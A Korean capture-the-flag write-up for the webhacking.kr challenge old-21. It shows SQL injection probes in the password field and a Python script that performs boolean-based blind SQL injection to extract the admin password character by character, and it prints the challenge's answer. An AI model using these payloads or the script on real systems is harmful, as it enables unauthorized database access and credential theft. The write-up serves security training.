# old-21 (250)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M0_Y_krBt4Rwyyr3OD2%2F-M0_Yi4sAyncJktK0x8o%2Fimage.png?alt=media\&token=6baf965b-e9cd-4cfa-964a-580b6267a791)

id에 `admin` , pw에 `' or '1` 을 입력하면 Result가 아래와 같이 나타난다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M0aH5aSkTPECclfS9mZ%2F-M0aHBLJyj5koTnC6g6E%2Fimage.png?alt=media\&token=a110457f-80c3-4d77-9765-466494a9b776)

id에 `admin` , pw에 `' or '0` 을 입력하면 Result가 아래와 같이 나타난다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M0aHEv5yH1U2oZ-dKF9%2F-M0aHJe8upf3qwdBpRr9%2Fimage.png?alt=media\&token=e97b6665-c240-431f-ba47-307cee5fcdec)

pw 값이 참과 거짓일 때 나타나는 값이 다른 것으로 추측하였다.

이를 이용해 파이썬 코드를 짜면 아래와 같다.

```python
import requests

URL = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'


def query(payload):
    r = requests.get(URL + payload)
    content = r.text
    return TRUE_PHRASE in content


# 36
def find_pw_length():
    pw_len = 1
    while query("' or id='admin' and length(pw)={}%23".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# there_is_no_rest_for_the_white_angel
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("' or id='admin' and ord(substr(pw,{},1))={}%23".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()
```

실행 결과, pw는 `there_is_no_rest_for_the_white_angel` 이다.

id에 `admin` , pw에 `there_is_no_rest_for_the_white_angel`를 넣고 제출 버튼을 누르면 문제가 풀린다.
